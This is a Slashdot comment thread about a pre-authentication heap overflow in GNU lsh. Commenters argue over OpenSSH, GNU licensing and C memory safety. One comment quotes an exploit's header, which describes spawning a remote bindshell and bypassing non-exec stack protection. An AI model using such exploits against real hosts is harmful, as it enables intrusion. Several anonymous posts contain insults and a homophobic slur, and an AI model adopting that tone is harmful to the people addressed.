    I remember reading the alert for the OpenSSH bug, where one of the options listed was to upgrade to lsh - not "change to", "try using", or anything of the sort, but "upgrade" - and I thought then that that demonstrated an unnecessarily... high-horse-y attitude. I'll bet they regret saying that now... . Humility really IS the best policy.

    1. Re:hubris is never safe by Anonymous Coward · · Score: 0

      high-horse-y

      HORSE? WHERE?!?

      *drool* marez....

  26. seriously, though by Unominous+Coward · · Score: 1

    What is lsh?

    Is it just a different implementation of ssh2, or is there more to it than that?

    --
    "Smoking helps you lose weight - one lung at a time" -- A. E. Neumann
    1. Re:seriously, though by SmallFurryCreature · · Score: 1
      Well as has been pointed out, but worth repeating to counter zealots, lsh was started earlier then openssh to give a free alternative to ssh.

      You see lsh is a gnu project. Gnu is a bunch of unwashed hippies who got this silly idea that there should be a base set of utitilities that anyone can use without fear of restrictive licensing or people suddenly claiming ownership and demanding compensation for widely available software. (Disclaimer: read up on gnu policy if you want the complete thruth not just my version of it)

      Of course these commies are completly wrong. There clean-room mentality and insistence on strict development practives to avoid any allegations that they use other peoples code show them to belong to the thin-hat brigade. It is not like we ever have to worry about someone suddenly claiming that they infact own the code we thought was free right?

      I think that SCO has shown us that Eric S.Raymond and other GNU defenders are right. Sure the hurd was and is a joke. I mean why we had this great linux kernel, what could ever happen to it? (We all hope sco will lose. We also hoped that the MS trial would have gone differently. We hope that software patents will not be accepted in europe. Hope is good. preparing for the worst is wise.)

      So what is LSH. A gnu replacement for a widely used tool. At worst it is code that we will never use. So what we don't pay for it. At best it is a ready replacement should something awfull happen to openssh. For now it is an alternative, not proven better or worse. Just a different way of solving a problem. Oh and one that was around BEFORE openssh. :P

      --

      MMO Quests are like orgasms:

      You may solo them, I prefer them in a group.

  27. that's funny by Anonymous Coward · · Score: 0

    "upgrade to lsh" was recommended

    still haven't seen an exploit for the openssh bug. the so called "exploit" that did get released is only a trojan.

  28. Ish instead of OpenSSH? by coene · · Score: 2, Insightful

    Who would say such a thing? Are you high? Low blood pressure not getting enough of the red stuff to your brain?

    You cannot beat the OpenBSD/OpenSSH coding standards, audit process, or documentation. Every software will have bugs, but replacing it with something more likely to have bugs, with a more restrictive license, less documentation, and next to no track record isnt a good idea just because it has "GNU" in it's name.

    1. Re:Ish instead of OpenSSH? by darketernal · · Score: 1

      Would this be a similar situation to GNU TLS versus OpenSSL?

    2. Re:Ish instead of OpenSSH? by stesch · · Score: 1
      You cannot beat the OpenBSD/OpenSSH coding standards, audit process, or documentation.

      After reading "The Practice of Programming" (Brian W. Kernighan, Rob Pike) I thought that every current C programmer could write clean code in current projects.

      I've looked at the source of OpenSSH, after seeing some strange things in the patch. You call this the product of a current "coding standard"? This is C in the 21st century?

      No wonder so many people cry for ssh implementations in more secure languages.

    3. Re:Ish instead of OpenSSH? by Anonymous Coward · · Score: 0

      What do you mean you can't beat the OpenBSD and OpenSSH coding standards? You know how many remote exploits OpenSSH has been responsible for? It's the new bind or sendmail.

  29. Re:Have to be happy... by Anonymous Coward · · Score: 0

    You are both so fucking shit. so so so shit. Ur sex so dirty u cum in sand.

    Bitch.

  30. look, man by SweetAndSourJesus · · Score: 1

    I've been drinking since noon, it's now midnight.

    Cut me some slack.

    I've never heard of lsh, either.

    --

    --
    the strongest word is still the word "free"
    1. Re:look, man by Anonymous Coward · · Score: 0

      Cut me some slack.

      Why the fuck should we, asshole?

    2. Re:look, man by Anonymous Coward · · Score: 0

      Parent has anger problem.

  31. Lot of people are idiots. by Anonymous Coward · · Score: 0

    lot of people suggested GNU lsh

    Eat shit, billions of flies can't be wrong.

  32. How about FreSSH? by Dahan · · Score: 2, Interesting

    Anyone up to finding a root hole in FreSSH, another SSH implementation that nobody's heard of? :)

    1. Re:How about FreSSH? by Anonymous Coward · · Score: 0

      How about somebody sharing the (rumored) exploit for the recent openssh bug?

  33. lsh? by Sexy+Commando · · Score: 2, Funny
    Hey, for gentoo users, if a piece of software is not in portage tree, it never exists.

    At least that's how I feel.

    1. Re:lsh? by DaCool42 · · Score: 1

      good thing the people submitting ebuilds don't share your opinions.

      --

      ----
      All of whose base are belong to the what-now?
    2. Re:lsh? by Hatta · · Score: 1

      Yeah, portage is so convenient it tends to make one lazy. But not any more than BSD ports or debian's apt. It's always easier to use software in your distribution.

      --
      Give me Classic Slashdot or give me death!
  34. Telnet by Anonymous Coward · · Score: 0

    Good thing I'm using something secure like telnet.

  35. Dang... by BurKaZoiD · · Score: 0, Troll

    ...and I just set up my first Linux box (RH9) a few weeks ago. If I wanted this kind of abuse, I would stick with Microsoft!!! *Sigh* I was really loving Linux too...the freedom, the power, the non-MS-ness...

    >;^(

    1. Re:Dang... by O · · Score: 1

      Trust me, your RedHat 9 box was *not* running lsh.

      --

      1, 1, 2, 3, 5, 8, 13, 21 -- Mathematics is the Language of Nature.
    2. Re:Dang... by ywl · · Score: 1


      Assuming that you're really a newbie. Security is a process, not a product.

      Linux is more secure, at least on my hand, because I know what I'm doing on Linux. The openness, modularity and availability of *free* documentation made it easy for me to train myself on it. I believe it'll be much harder and more expensive to bring myself up to the same level of experetise on the various Windows versionS.

      If you're serious on learning, give yourself half a year and spend time reading various online documentation. After learning enough, you will probably be like me - don't want to or dare to touching a Windows machine again for fear of what you might have accidentally messed up.

  36. how efficient do you need? by Vellmont · · Score: 1

    Java isn't really _that_ slow. There's a java SSH client I've used that runs as an applet that is small and fast. We aren't running 386s anymore, and encryption just doesn't take up that much processing power.

    Maybe a C or C++ ssh daemon would take half the CPU time as one written in Java, but who cares when it's taking up less than 1% of the CPU? Memory and processor are cheap, having your system rooted is expensive.

    --
    AccountKiller
    1. Re:how efficient do you need? by Anonymous Coward · · Score: 0

      Right on. 99% of the time SSH is used so that One (1) admin can occasionally log into the system and do maintenance work. There's simply no need for this service to be ultra-efficient.

      I'd love to see Java replacements for major services (HTTP, FTP, SMTP, SSH), at least for personal use.

    2. Re:how efficient do you need? by guacamole · · Score: 1

      I care a lot about performance of SSH because we're using all time time to large data transfers (backups, or simply copying files between systems, etc).

  37. hang on a minute by Anonymous Coward · · Score: 1, Interesting

    1) The bug in lsh was a heap overflow, which is somewhat different than the more common stack based attacks.

    2) The true underlying problem is the x86 hardware. It is somewhat... lacking in the areas of privilege separation and permissions.

    Yes, using well-tested libraries instead of rolling your own can help. Using certain languages can help. But the fundamental weaknesses of the x86 make securing code much more of a headache than it should be.

    1. Re:hang on a minute by Temporal · · Score: 1

      The problems in the x86 hardware to which you refer would be irrelevant if software were written in a language that didn't allow direct pointer manipulation. Memory protection, IMO, is a big hack to solve a problem that shouldn't exist in the first place. Software written in almost any other language than C or C++ doesn't need it. (Well, doesn't need it for security. It's useful for other things.)

  38. OpenBSD != BSD by Anonymous Coward · · Score: 0

    OpenBSD is 8 years old, according to this post. And they've certainly done a lot of security auditing, but that was not the ONLY thing they worked on all this time.

    1. Re:OpenBSD != BSD by Anonymous Coward · · Score: 0

      Only 8 years? Maybe if we gave them 14 more years, they could squash ALL the holes in BSD UNIX.

      The only claim to fame that OpenBSD has is that they took legacy dogshit and cleaned it up. That's a tribute to their C coding skills and useful for legacy users, but it certainly doesn't make them the security meisters of the universe.

    2. Re:OpenBSD != BSD by Anonymous Coward · · Score: 0

      Where is you uber-secure OS without the possibility of a remove exploit? Put up or shut up, troll.

    3. Re:OpenBSD != BSD by Anonymous Coward · · Score: 0

      Let's turn this around: Name a remotely exploitable package that's not written in C or C++ (or by idjot coders that allow SQL injection, etc). Anyone?

      And to answer your question: OpenVMS, with the UNIX stuff turned off.

  39. advantages of lsh? by Vellmont · · Score: 1

    So can someone tell me why the lsh project exists, and what advantages it offers? The perceived security advantage has evaporated with this real exploit vs openSSH's theoretical exploit. Beyond any idealogical GNU license masturbatory issues, why run lsh? Does it offer features that openSSH doesn't?

    --
    AccountKiller
  40. ISH the acronym by Sonnenschein · · Score: 1

    Insecure Shell

    1. Re: ISH the acronym by Anonymous Coward · · Score: 0

      Insecure doesnt begin with 'L'?

    2. Re: ISH the acronym by Sonnenschein · · Score: 1

      I have no idea, never heard of this software but its showing up as a captial I (eye) on my screen... could be the font........ shrug, it was late, still haven't been to bed.

    3. Re: ISH the acronym by Anonymous Coward · · Score: 0

      That's Linux fonts for you.

  41. hi by Anonymous Coward · · Score: 0

    thanks for being the third person to point out the mistake.

    i hope it makes you feel like a big smart man.

  42. A small problem.. by tuomoks · · Score: 1

    I have a small problem with this type ( any type ) of buffer overflow or what ever bugs. Why would anybody read more than they can ? There are only two types of receiving / reading in computers - either the driver buffer or the application buffer. Application level is easy, you tell how big is the memory you can use and the driver gives you that. The driver level is different - you either have to to take what the hardware delivers or to nack it. How difficult is that ? Sorry but after writing 30+ years code on drivers and applications I just don't get it.. Maybe someone could explain it how this can happen ??

    1. Re:A small problem.. by Halo- · · Score: 1

      Well, yes you usually know how much you get off the wire from the hardware, but it's the handling of the data afterwards which gets dicey. For example, the portion of SSH fixed had to do with a buffer which grew dynamically as additional information was added. Most buffer overflows are the result of arithimatic errors, not simply "reading more than they can". Think of it like doing a very long equation. Sure, you can mess up in the first steps, the but chances are much greater you're gonna forget to carry a remainder in step 213.

    2. Re:A small problem.. by tuomoks · · Score: 1

      Thanks of remeinder - yes, I know. I write framing, compression and crypto routines and you really have to be very careful of that. I personally hate framing, handling 10K users roaming ( i.e. changing the source ) but getting the next frame / window. We had no such problems with HDLC/SDLC - IP is not nice in that sence. Session management is a pain when you have to authenticate / authorize every byte in stream. On other hand, I see a lot of programmers ( and managers ) who have not been educated or experience to even think the issues.

  43. Re:[OT] Re:How to tell if you are a linux fanatic. by Anonymous Coward · · Score: 0

    I've met far more people that refuse to admit that anything other than Microsoft software exists, no matter how badly it fucks them in the ass.

  44. Re:[OT] Re:How to tell if you are a linux fanatic. by Anonymous Coward · · Score: 0

    So you were born and raised in the sheltered workshop, and you won't be leaving any time soon?

  45. Who cares if it's Lsh or Ish? by Anonymous Coward · · Score: 0

    Whatever it is, it's an insecure peice of shit.

  46. Smug. by Alioth · · Score: 4, Insightful

    Serves those smug bastards right who were gloating the other day about how they use lsh and how it is so much better than OpenSSH. Hoist by their own petard, so it seems.

    I _never_ gloat about running different software to $COMPROMISED_SW of the day. Just because I run exim, I don't think I'm magically more secure than a sendmail user. Exim users must keep up with the patches as well. Same goes for qmail. If you sit there smugly saying how superior your piece of software is, you're going to get bitten in the ass sooner or later, or at least end up looking very silly after all the gloating to find you're vulnerable too.

    Dudes, doesn't matter what you run: don't gloat about it - be paranoid about the security of what you run, and keep up with the patches.

    1. Re:Smug. by quigonn · · Score: 1

      There haven't been (official) patches for qmail for years, troll.

      --
      A monkey is doing the real work for me.
    2. Re:Smug. by Anonymous Coward · · Score: 0

      Doesn't calling a troll a troll make you a troll?

    3. Re:Smug. by Anonymous Coward · · Score: 0

      Doesn't calling a troll a troll make you a troll?

      I don't know, but calling a troll who calls a troll a troll a troll definitely makes you a troll.

    4. Re:Smug. by Big+Jason · · Score: 1

      Yeah, like that douchebag Bennett Todd on Full-Disclosure claiming that a remote root exploit in OpenSSH was unacceptable and that he was promptly switching to LSH.

      Funny thing is, someone released a root exploit for LSH to the list a few days later. I have yet to see a (working) exploit for OpenSSH.

    5. Re:Smug. by antiMStroll · · Score: 1

      Sounds to me like you're gloating over not gloating.

    6. Re:Smug. by Alioth · · Score: 1

      Just because there hasn't been one for years doesn't mean there isn't one that's going to come out next week. If you call someone a troll because they express the view that all software is potentially buggy and may need security patches, you have a very hazardous attitude to security indeed. Perhaps we really do need to license MTA operators sooner rather than later.

    7. Re:Smug. by Anonymous Coward · · Score: 0

      Yeah, but it sounds to me like you're gloating over his gloating over not gloating.

      But then again, I'm gloating over your gloating over his gloating over not gloating.

  47. mod parent up! by Frymaster · · Score: 1

    that was the first actually funny thing i have read here all week! and it's saturday!

  48. Comment from code by xmda · · Score: 1


    Rough and ready exploit for lsh 1.4.x (other versions ?)
    by Haggis aka Carl Livitt - carl.learningshophull@co@uk

    Spawns bindshell on port 45295 of remote host.

    I suspect the overflow that this exploits is actually part
    of the liboop library that lsh uses... I haven't even looked.
    I just wanted to get this out the door to stop all the lsh
    lovers crooning about how they weren't getting 0wn3d like
    the openssh users might be.

    Yes, this 0day is real. Yes, it's pre-authentication.

    Handily, it also bypasses non-exec stack protection as the
    shellcode is on the heap.

    NOTE: This 0day public exploit _only_ works if it's the first
    thing to connect to the lshd daemon after it has been started.
    Any other time, it is just a DoS. Run it a few times against
    a host running lshd to see what I mean.

    Greets to B-r00t, kraft, marshal-l, ruxor, force5 and everyone
    else on #cheese at doris.scriptkiddie.net.

    1. Re:Comment from code by Anonymous Coward · · Score: 0

      I think the most amazing thing about that comment is how relatively readable and correct it is. I mean, I always have this mental image of exploit writers either using English as a second language, or having no respect for grammar and spelling. What a welcome change in pace! :)

  49. Re:[OT] Re:How to tell if you are a linux fanatic. by Anonymous Coward · · Score: 0

    Keep the Linux bashing up brother. You are *so* showing us that MS is the way to go.

  50. lsh Pre-dates OpenSSH by divec · · Score: 4, Insightful
    Does it exist solely because of the non-GNUness of other implementations?

    When lsh was started, OpenSSH didn't exist. The original SSH was free till version 1.2.12, but was then put under a more restrictive licence. The licence on ssh version 2 was more restrictive still (I think it wasn't even free-as-in-beer). lsh was intended to be a Free, Open-Source replacement to ssh.


    Then the OpenBSD people took the old, free 1.2.12 version of ssh, fixed all the known bugs which had accumulated since that release and updated it with the new features in the SSH protocol. This is OpenSSH.

    --

    perl -e 'fork||print for split//,"hahahaha"'

    1. Re:lsh Pre-dates OpenSSH by Anonymous Coward · · Score: 0

      No, they took ossh. Not an old ssh.

    2. Re:lsh Pre-dates OpenSSH by Anonymous Coward · · Score: 0

      Damn. You sure showed that fucker.

  51. The quality of Theos work by aliquis · · Score: 3, Insightful

    Thought this is rather old news I never thought that anyone else could do an ssh application better then the one the openbsd team could bring out. I'm confident that they do their best and look thru the code very carefully and still this kind of things happen.
    I find it strange that there never seems to be an end of the openssh, apache, php, sendmail and mysql vulnerabilities. I suppose it's just damn hard to write secure code all the time. I blame the C language a little for this, should you really have to be this careful all the time? Do you really have to reinvent the wheel every single time?
    Imho c is just something you should use because the application you are editing already uses it or the teacher has told you so. There are lots of better languages out there. Can't understand all the complains on java for example.
    Does anyone have some suggestions about libraries, special functions, compiler mods and so on which make C programs a little more secure? Any suggestions of other languages which is available for different platforms but more secure and with less reinventing of the wheel all the time? The ones which come to my mind are as I said java and scripting languages like python, ruby and so on. But there got to be atleast one which isn't interpreted?
    Suggestions are more than welcome.

    1. Re:The quality of Theos work by SmallFurryCreature · · Score: 2, Interesting
      Yeah java, yippie, not like that never makes computers crash. (sorry freenet just crashed my pc again)

      C is like steel. Sure you can make cars from different materials. Sure certain cars are known to be unsafe. Certain cars are in fact known to be real deathtraps. These cars are made out of, shock and horror, steel!. Steel therefore is unsafe and we should all move to a different material. Then all cars will be safe and we can all rejoice in having squashed the evil and unsafe steel.

      C is a tool. Tools are not inherintly safe or unsafe. Watch some "real-tv" programs and you will see that people can do amazing damage with something as harmless as a hammer, a tool that has been around for several millenia and people still don't use it safely.

      You are the tool user. It is up to you to use it safely. I fear very little will be accomplished by going to a different tool. In fact it may be worse. You seem to suggest a language were the language does the error checking so that programmers no longer need to worry about. Great so in a few years times we will have no coders left who know how to write their own error checking code. Who is then going to write the error checking code in these languages?

      Even worse what would happen when a security bug is discovered in that error checking code? Then suddenly every piece of software ever written in that language has a hole in it. Whee! (can this happen, I am just speculating. kinda like when openssl has a bug every piece of software that uses it is affected)

      --

      MMO Quests are like orgasms:

      You may solo them, I prefer them in a group.

    2. Re:The quality of Theos work by aliquis · · Score: 1

      Uhm, how do you manage to get your computer crashed by freenet? That has never happened to me.
      Beyond that I understand that you mean, but for some reason it seems even very competent people have a hard time writing secure and stable code in c, so how am someone like me supposed to be able to do it? That just makes me think there might be some trouble with the approach and that you maybe should try to do it in some other way which will make it easier to develop secure apps. I don't say I do have a better alternative or even a suggestion on what to do, that's why I asked about libraries or compiler patches which might help.
      There are languages like for example ADA which I have heard complains quite a lot until you get the code right, but on the other hand then it's right the code has quite good quality and aren't that likely to have any bugs. To error is human and maybe we need some tools which helps us.
      Sure hammers are unsafe, and sure some people with enough experience might have a better chance of using them without hitting themself on their thumbs. To just replace the c language with something else would be like buying premanufactured furniture just to be on the safe side. But that's not the only solution, you could for example use a screwdriver instead.
      There might be some "other tools" which doesn't work with the "punch the nail" technique and therefor are less likely to harm your thumbs, and those are the one I'm looking for.

  52. C can be used with appropriate measures by Serious+Simon · · Score: 3, Interesting
    C doesn't impose measures against buffer overflows, but that doesn't mean it is prohibitively difficult to implement them.

    You can easily find information on how to avoid buffer overflows, such as in this article.

    However, the developers in the lsh project (for example) do not appear to have given this subject much thought. In the lsh manual, the chapter on Threats silently assumes the software works as designed. It does not mention protection against exploits such as buffer overflows.

    And the coding standards outlined in the lsh hacking guide are targeted at avoiding breakage by the programmers, not by outside attackers.

    Projects developing exploit-sensitive software should implement proper measures to avoid buffer overflows. As long as this is done, C may still be the appropriate language for such projects.

    1. Re:C can be used with appropriate measures by Temporal · · Score: 1

      Problem is, 90% or more of programmers are just too lazy to do the work necessary to secure their programs. Now, it would be nice if we could just convince all of them to work harder, but realistically we're probably going to have to deal with programmers being notoriously lazy forever. On the other hand, there are many programming languages out there which make it much, much easier to write secure code. If the computer industry were to move to one of these languages, there would simply be far fewer security holes in most software. Many of these languages also take far less code to write typical programs, and handle a lot of the nitty-gritty of programming (like garbage collection) automatically. Usually they're not as fast as C, but for 99% of applications the difference is irrelevant. So, why not switch?

    2. Re:C can be used with appropriate measures by localman · · Score: 1

      Imagine if the human body was designed such that your head fell off -- unless you took the time to "easily find information to avoid".

      It's time to fix C or move on.

      Cheers.

    3. Re:C can be used with appropriate measures by Serious+Simon · · Score: 1

      Imagine that the human body was designed such that you would seriously hit your head against something if you did not look were you were going.

    4. Re:C can be used with appropriate measures by Zaak · · Score: 1

      C doesn't impose measures against buffer overflows, but that doesn't mean it is prohibitively difficult to implement them.

      That is backwards. The default should be secure. C is broken because the default is insecure and it takes work to implement basic security.

      TTFN

    5. Re:C can be used with appropriate measures by localman · · Score: 1

      To stretch my lame metaphor further, I would say that the task of not hitting your head is much easier with eyes; something standard C does not provide.

      The C appologists can say "just be careful" all they want, but the fact remains that even the most careful programmers make these mistakes _all_the_time_ because the language encourages them.

      I'm no expert in C, but it seems to me like it's just a matter of writing a better stdlib that makes it easy to do things the safe way. Then if people want to code close to the metal and risk banging their head, that's fine. But right now the official way to code involves managing memory by hand, and people have proven over the past twenty years to be absolutely horrible at it, while computers have proved to be quite good (with a little performance overhead).

      Cheers.

  53. Complain all you want about OpenSSH by Anonymous Coward · · Score: 3, Interesting

    It is interesting to see the types of holes that have been found in OpenSSH to date - these are *far* beyond typical buffer overrun problems that some other software projects suffer. Because of its popularity, it has become an attractive target and thus something of proving ground for new attack methods - int overflows, malloc corruption / free() exploits. OpenSSH is getting the bugs slowly beaten out of it.

  54. Maybe the standard Winlot conclusion by RoLi · · Score: 4, Insightful
    nothing is flawless

    Nobody ever claimed it would be.

    However I've personally experienced that many systems are more secure than others. Almost all security problems on Unix didn't affect me (like this, BTW. This is actually the first time I've ever heard about lsh) and often were hyped up. In the meantime I get tens of Windows-Virus-mails and attemted IIS infections per day.

    The true conclusion:

    Windows is like a 50 year old car without safety belts, Unix is like a modern Volvo with safety belts and airbags.

    Neither car is "flawless" and you can die in the Volvo too.

    1. Re:Maybe the standard Winlot conclusion by Anonymous Coward · · Score: 0
      I have a suggestion to you dude, I think you are in complete and utter denial. I'm not saying this to harm your ego or anything... I'm even posting anonymously to avoid the confrontation of a 'winlot' (which btw doesn't make sense... unless there is an OS out there called Zea). Why don't you sit back for 10 seconds, and examine your motivations.

      Btw, anyone who moderated you up should do the same excercise as what I just recommended you too.

    2. Re:Maybe the standard Winlot conclusion by asilidae · · Score: 0

      The true conclusion:

      Windows is used by soo many more people then any other OS that it's silly to try to exploid anything but windows, since you would hit almost everyone with an exploid aimed at windows. You should know that already.

      Like 91% of everyone who searches on google use windows according to this page: http://www.google.com/press/zeitgeist.html
      I think linux gathers 1% in that statistic and i guess unix is in the 5% other, which signals its under 1% for unix, quite insignificant. You would never hit the news (not tech news) with an exploid for unix like you can with one for windows.

      --
      Whats a sig? And how do i append it?
    3. Re:Maybe the standard Winlot conclusion by SvendTofte · · Score: 1

      I get tens of Windows-Virus-mails and attemted IIS infections per day.
      And this makes Windows more insecure how? You're getting attempts, and emails, and from the sound of it, just that ... attempts ... So how is it this the "standard winlot conclusion"?
    4. Re:Maybe the standard Winlot conclusion by Blackheart2 · · Score: 1

      Grandparent wrote: nothing is flawless

      Parent replied: Nobody ever claimed it would be.

      Well, that's part of the problem, isn't? Nobody ever claims anything about their software anymore because, shockingly, they might be held accountable by someone.

      This is translating into bigger and bigger headaches for everyone else, because nowadays we all depend on some software, and it's never right. Never. Only maybe in the next version. But there's always a next version, right?

      Maybe we should all start heading our programs with the comment:

      /* IANAP(rogrammer), but I believe this may work... */

      because that would be pretty damn accurate.

      --

      BH
      Fools! They laughed at me at the Sorbonne...!

    5. Re:Maybe the standard Winlot conclusion by RoLi · · Score: 1
      And this makes Windows more insecure how?

      • It proves that a lot of Windows machines are infected. If it can happen to so many people it can happen to anybody.
      • I'm no full time admin and I neither have the time nor the commitment to patch everthing weekly. I usually upgrade about twice a year and never had problems on Linux, I would have gotten at least 3-4 mass-worms on Windows with the same level of commitment.

      To make a long story short it takes a lot more time to secure Windows than it takes to occasionally upgrade Linux.

      And this is also the problem: Whenever I install a new system, I just use the latest Linux-version available and am adequately (Winlots usually pretend to not know the difference between absolute and adequate, please don't.) secure. With Windows I have to install hotfixes and servicepacks everytime I install a machine and often have to pay through the nose for security updates (What does Windows2003 really offer in comparison to Windows2000? Not much except for the comfort of having to install less security fixes.) and if I don't I'm infected by some worm in a matter of hours.

      And that's exactly why CodeRed is still there and won't disappear for a long time. Because Microsoft releases so seldom (you always get year-old security problems) and because of their business-model (you just don't want to pay several hundred $ just for a security update) the average fresh and clean Windows install will always be less secure than the average fresh and clean Linux install.

      Also, Window's nature is problematic in upgrading. With Linux I can do a "tar cjf settings.tar.bz2 /etc" and transfer those settings to a newer box without many problems and in a short time. If there is a problem with a service it is usually solved without big problems, the configuration formats usually don't change and more importantly are all encapsulated, so you can easily pinpoint the problem. On Windows on the other hand, you would have to start exporting parts of the registry, you would have to know which parts. And then you would have to cross your fingers that you are able to import it into the registry of the newer system. I wouldn't dare to export parts of the registry of a WindowsNT4 system and import them in Win2K or even Win2K3, would you?

      So, yes Linux is more secure by nature than Windows.

    6. Re:Maybe the standard Winlot conclusion by MarkJensen · · Score: 1

      Ummm... Your "true conclusion" is a *bit* flawed.

      Calling Windows "a 50 year old car", and Unix "modern" is backwards. Unix has a much older history than Windows. But, in the software world, this isn't necessarily a disadvantage.

      What matters is a history of constant innovation and improvement. Windows does "ok" at this. While Linux (in particular) shows an excellent history of striving to improve and adapt technologies: both new and old.

      By comparison, Windows is focused on the new at the expense of the old. That is where Microsoft sees the money -- in their cycle of upgrades (software and hardware assist each other).

      Just my two cents.

    7. Re:Maybe the standard Winlot conclusion by Anonymous Coward · · Score: 0

      It's possible to guarantee functionality in software (like in NASA's shuttle software). However, this would make software so expensive as to be even more costly than damage control for the current broken stuff.

      Software quality will not improve until we get the machines to write the stuff for us.

    8. Re:Maybe the standard Winlot conclusion by Politburo · · Score: 1

      Your true conclusion is yet another car analogy. Terrific.

    9. Re:Maybe the standard Winlot conclusion by Blackheart2 · · Score: 1

      Wrong: there are a dozen programming languages which eliminate the possibility to exploit bugs such as buffer overruns, and programs like lsh are a perfect candidate for them. Such languages also improve code reuse, thus bolstering reliability, localizing errors and assigning blame where it belongs.

      Furthermore, it's not necessary to provide a 100% guarantee of correctness to improve software quality. A familiarity with modern formal methods such as those used to specify programming languages will improve the quality of any software you write.

      As for costliness, if the figure that 80-90% of development time is spent debugging is true, then you have a lot of leeway before increased time spent in specification and verification starts to exceed your overall budget. Add to that the expected decrease in support costs, and the value proposition is pretty good. Add to that the fact the network effect that you will actually be able to rely on external libraries, and development time decreases even further.

      The fact is, people who write buggy software are bad citizens in the programming community. They hurt users, they hurt other programmers and they hurt themselves.

      The idea that reliability cannot be addressed is a self-fulfilling prophecy and a cop-out. You have to bite the bullet sometime.

      --

      BH
      Fools! They laughed at me at the Sorbonne...!

    10. Re:Maybe the standard Winlot conclusion by Overly+Critical+Guy · · Score: 3, Insightful

      Nobody ever claimed it would be.

      You do visit Slashdot, don't you? It is claimed all the time. The prevailing attitude and anecdotal evidence about how secure Linux is and how insecure and unstable Windows is runs through every discussion thread even remotely involving anything Microsoft. A large part of this site is just reactive hysteria to "Microsoft worms." Heck, whenever there's an X-Box article, you get the requisite hundreds of "jokes" about green screens of death.

      You claim to get virus-mails, which usually require user intervention to spread. Then you mention IIS intrusions, despite the fact that Slashdot recently posted an article called "Linux Most Attacked Server?" which showed Linux was the most breached operating system on the net.

      The true conclusion:

      Windows is like a 50 year old car without safety belts, Unix is like a modern Volvo with safety belts and airbags.


      No. The true conclusion is that your personal disdain for Microsoft products in an OS war doesn't matter in the end. All operating systems are insecure and vulnerable. They are equal.

      The true heart of security lies in your system administrator. Period.

      --
      "Sufferin' succotash."
    11. Re:Maybe the standard Winlot conclusion by Anonymous Coward · · Score: 0
      You know what the true conclusion is?

      That slashdot moderation is propaganda/censorship. You know why I say this? I am the first replier to this parent post, and it seems 8 or so comments made afterwards stressed the same thing: that the parent post is just a zealot and not talking anything rational...

      YET... the parent post remains at +5 Insightful, and all child posts remain at 0-2... What's even more furstrating is that I get moderated 'overrated' for certain posts with a default karma bonus modifier... A post sitting at 2 will clear most people's filters, so really, it's a total waste of mod points... yet this cretin is allowed to remain at +5 and sore my eyes...

      I have lost my faith in /. as a reliable news source, and I have lost any faith I had in it as a proper discussions forum. It now reminds me of an IRC channel where 14 year olds throw insults at eachother. Something I lost interest in around 8 years ago, when the internet was just first bubbling up among the public.

  55. EXCEPTION_RAISE doesn't raise - bad naming by ThePythonicCow · · Score: 2, Informative
    This bug doesn't surprise me - the previous line reads "EXCEPTION_RAISE ...". One would expect from the verb "RAISE" that it was going to jump out of line right there, and that the next line would be NOTREACHED.

    A proper fix for this would change the name of that EXCEPTION_RAISE macro to something that doesn't suggest out of sequence execution.

    Someone should grep through the source for lsh, and see if there are any other places where after this macro is called, the code really is expecting execution to continue inline.

  56. Re:How to tell if you are a linux fanatic. by Anonymous Coward · · Score: 0

    Honestly. If you were as clever as you think you are you wouldn't of just been so spectacularly trolled. Moron.

  57. rant continued... by pVoid · · Score: 1
    first off, I forgot to fully qualify the fever-like physiological aide in that this article goes under "Developer" which is probably not read by most /. readers...

    What's even more sick is that when looked at carefully, everything on this site shows pure propaganda in the works. The core people who would read the 'developers' thread are in effect the people who have something at stake, their cherrished little holy grail. But what you don't realize is that as with any propaganda machine, you are dimming the wits of your own youth. The 'anti-bodies' out there, the less than 18 teenagers who are on this site mass posting trying to fulfill some sort of ego trip, they aren't doing anyone any good, neither the OSS nor themselves. You are dimming your own wit by limiting reasonable conversation.

    How sad that it is somewhat visible that most of this machine is being tended to mostly by the american crowds too... makes you think about how accustomed they have grown to it.

    I denounce you Taco, who might think the moderation system is good as is... nay, you probably have stopped veiling your intents to yourself, you probably realize what the power of this tool is and are embracing it by now.

    Propagand away... news has other sources.

    1. Re:rant continued... by Anonymous Coward · · Score: 0

      Ummm... You need to get out more(i.e do something you've been talking about doing but never have, something fun)... And quit reading Poe it's turning you into a sick man. (At least I see a similarity between you and Poe) Really, I mean it.

      Just take a break. Relax. You deserve it.

      P.S. Do it before your boss sends you to a "Don't sweat the small stuff" seminar. As soon as that happens, it's a sign you're over-stressed and ready to burn out.

  58. I don't get it... by hummassa · · Score: 1

    The parent pointed to djb's software guarantees... you pointed to two "linux has flaws too". Do you know of any djb's softwares' flaws? Share this with us. But then, maybe I'm feeding a troll, I don't know.

    --
    It's better to be the foot on the boot than the face on the pavement. ~~ tkx Kadin2048
    1. Re:I don't get it... by Anonymous Coward · · Score: 0

      But then, maybe I'm feeding a troll

      I'm afraid you are. Overly Smug Guy hangs out waiting for soft targets and then he regurgitates some tedious observation that I suppose he feels will rock the world of the sheepish Linux zealot, but which in reality is the same old stuff that's posted here ad infinitum by other similar bores and Microsoft shills.

      The only thing in his favour is that he's slightly smarter than Eric Ass Raymond -- but not by much.

    2. Re:I don't get it... by Anonymous Coward · · Score: 0

      Overly Smug Guy is an idiot (who might as well be a bot for all the "value" he adds to discussions), agreed. But he could have at least posted these...

      http://www.securityfocus.com/bid/8196
      http://www.ktwo.ca/advisory.html
      http://groups.google.com/groups?selm=9t130n%2412ha %241%40FreeBSD.csie.NCTU.edu.tw
      http://www.securityfocus.com/bid/2237

      But, then again, these aren't flaws, are they? No... djb insists they are features.

    3. Re:I don't get it... by Overly+Critical+Guy · · Score: 1

      I was merely pointing out that nothing is 100% secure. He gave me links to a couple of software guarantees, so I gave a link showing Linux is the most-breached OS anyway.

      Regardless of the reasons why that is, I was showing that it doesn't really matter if that software is guaranteed. There are other ways in.

      --
      "Sufferin' succotash."
  59. Re:How to tell if you are a linux fanatic. by TheNetAvenger · · Score: 1

    faggotass

    And the more people use homophobic comments, the higher the statistical odds that they are repressing their own gay feelings.

    Just come out, it isn't that hard. Walk up the steps from the basement (um, I mean your room) and tell you mom that you are gay. :)

  60. OT: your sig... by NumbThumb · · Score: 1
    --
    I have discovered a truly remarkable sig which this 120 chars is too small to contain.
  61. Re:How to tell if you are a linux fanatic. by (va)*103 · · Score: 1

    > 1. You rejuvenate and dance when you hear a windows flaw exposed, but you conveniently ignore the thousands of security flaws exposed in linux.

